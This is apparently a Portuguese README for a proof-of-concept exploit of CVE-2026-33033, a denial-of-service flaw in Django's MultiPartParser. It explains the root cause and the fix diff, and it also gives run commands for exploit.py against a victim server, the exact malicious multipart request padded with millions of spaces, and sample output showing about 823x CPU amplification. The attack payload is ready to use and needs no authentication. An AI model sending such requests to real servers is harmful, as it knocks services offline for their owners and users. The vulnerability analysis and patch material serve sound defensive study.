
Prova de conceito de exploit para CVE-2026-33033, uma vulnerabilidade de negação de serviço no MultiPartParser do Django via amplificação de CPU por espaços em branco em base64, demonstrando amplificação de ~800x com uma única requisição HTTP.
Negação de serviço via amplificação de CPU por espaços em branco em base64 no MultiPartParser do Django
Uma única requisição HTTP de 2,5 MB pode prender um worker do Django por ~5 segundos, alcançando ~2.100x de amplificação de CPU em comparação com uma requisição normal do mesmo tamanho. Nenhuma autenticação é necessária.
Esta vulnerabilidade foi corrigida no lançamento de segurança Django 6.0.4 (7 de abril de 2026), juntamente com backports para todas as branches suportadas.
| Branch | Afetada | Corrigida |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: Potencial vulnerabilidade de negação de serviço no
MultiPartParservia upload de arquivo codificado em base64 (Severidade: Moderada)Ao usar
django.http.multipartparser.MultiPartParser, uploads multipart comContent-Transfer-Encoding: base64que incluam espaços em branco excessivos podem acionar cópias de memória repetidas, potencialmente degradando o desempenho.
| CVE | Severidade | Descrição |
|---|---|---|
| CVE-2026-3902 | Baixa | Spoofing de cabeçalho ASGI via conflação de sublinhado/hífen |
| CVE-2026-4277 | Baixa | Abuso de privilégio no GenericInlineModelAdmin |
| CVE-2026-4292 | Baixa | Abuso de privilégio no ModelAdmin.list_editable |
| CVE-2026-33034 | Baixa | Bypass do limite de upload de memória ASGI via Content-Length ausente |
O MultiPartParser do Django possui um caminho de código especial para lidar com partes de arquivo com Content-Transfer-Encoding: base64. Após remover os espaços em branco de cada chunk, se o resultado não estiver alinhado a um múltiplo de 4 bytes, um loop while chama field_stream.read(1) para buscar bytes adicionais um de cada vez.
Quando o corpo do arquivo é quase inteiramente espaços em branco, cada byte buscado é reduzido a nada, então o loop continua — chamando read(1) uma vez por byte de espaço em branco. O insight crítico é que cada read(1) é muito mais caro do que parece:
Camada 1: O loop de alinhamento base64 chama read(1) por byte de espaço em branco
|
Camada 2: LazyStream.read(1) busca o restante inteiro (~64 KB), fatia 1 byte,
devolve ~64 KB - 1 --> cópia de bytes O(C) por chamada
|
Camada 3: unget() faz self._leftover = bytes + self._leftover
criando um novo objeto bytes a cada vez --> memcpy de ~C bytes
Por chunk de 64 KB, o trabalho de cópia forma uma série aritmética:
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 bilhões de operações de bytes
Para uma entrada de 2,5 MB (~40 chunks): ~86 bilhões de bytes de trabalho de memcpy a partir de uma única requisição HTTP.
O Django inclui _update_unget_history() que lança SuspiciousMultipartForm se a mesma contagem de bytes for devolvida 40+ vezes em 50 operações. No entanto, neste ataque os tamanhos de unget são monotonicamente decrescentes (65535, 65534, 65533, ...), então cada tamanho é único e a verificação nunca é acionada.
O middleware CSRF acessa request.POST antes de qualquer view ser executada, então mesmo endpoints que retornam 403 incorrem no custo total do parsing.
CVE-2026-33033-PoC/
├── README.md # Este arquivo
├── LICENSE
├── requirements.txt # Dependências Python
├── exploit.py # Script de exploit
└── victim/ # Servidor Django vulnerável
├── manage.py
├── uwsgi.ini # Configuração de deploy uWSGI
└── victim/
├── __init__.py
├── settings.py # Padrões do Django (nenhuma configuração especial necessária)
├── urls.py # Endpoints /upload e /health
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Opção A: Servidor de desenvolvimento do Django (mais rápido)
cd victim
python manage.py runserver 0.0.0.0:8000
Opção B: uWSGI (mais realista — usa 4 workers)
cd victim
uwsgi --ini uwsgi.ini
Em um terminal separado:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Opções:
| Flag | Padrão | Descrição |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Endpoint de upload alvo |
--size | 2621440 (2,5 MB) | Tamanho do payload em bytes |
--rounds | 3 | Número de rodadas de ataque |
============================================================
CVE-2026-33033 PoC
Negação de serviço via amplificação de CPU por espaços em
branco em base64 no MultiPartParser do Django
============================================================
Alvo: http://127.0.0.1:8000/upload
Tamanho do payload: 2.621.440 bytes (2,5 MB)
Rodadas: 3
[*] Verificando saúde do servidor...
[+] Servidor ativo.
------------------------------------------------------------
[*] Fase 1: Enviando requisição BENIGNA (dados base64 normais)
------------------------------------------------------------
Status: 200
Tempo: 5,55 ms
------------------------------------------------------------
[*] Fase 2: Enviando requisições MALICIOSAS (base64 + espaços em branco)
------------------------------------------------------------
Rodada 1/3:
Status: 200
Tempo: 4571,12 ms
...
============================================================
RESULTADOS
============================================================
Requisição benigna: 5,55 ms
Média do ataque: 4571,12 ms (em 3 rodadas)
Amplificação: 823x
[!] VULNERÁVEL: O tempo médio de ataque excede 1 segundo.
Uma única requisição de 2,5 MB prende um worker por ~4,6s.
Com 4 workers, apenas 4 requisições concorrentes podem causar DoS no servidor.
O exploit constrói um corpo POST multipart/form-data com uma única parte de arquivo:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2.621.433 espaços>A
------CVE2026-33033--
AAA inicial faz stripped_chunk = b"AAA" (3 bytes), então remaining = 3 % 4 = 3.field_stream.read(1) para buscar 1 byte adicional para alinhamento.b"".join(b" ".split()) == b""), mantendo remaining = 3.LazyStream.read(1) copia internamente ~64 KB via o mecanismo unget.django/http/multipartparser.py, linhas 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # reduz a vazio
remaining = len(stripped_chunk) % 4 # permanece em 3
A correção (aplicada no Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) substitui o loop read(1) por byte por um read(self._chunk_size) em massa:
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Principais mudanças:
read(4 - remaining) → read(self._chunk_size) — lê 64 KB por vez em vez de 1-3 bytes, reduzindo as chamadas de leitura de ~2,5 milhões para ~40.stripped_chunk += ... → stripped_parts.append(...) + b"".join() final — evita concatenação de bytes potencialmente quadrática.len(stripped_chunk) % 4 → contador stripped_length — evita recálculo redundante de comprimento.Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados. Use-a com responsabilidade e somente contra sistemas que você possui ou para os quais tem permissão explícita para testar.
Apache License 2.0 — consulte LICENSE.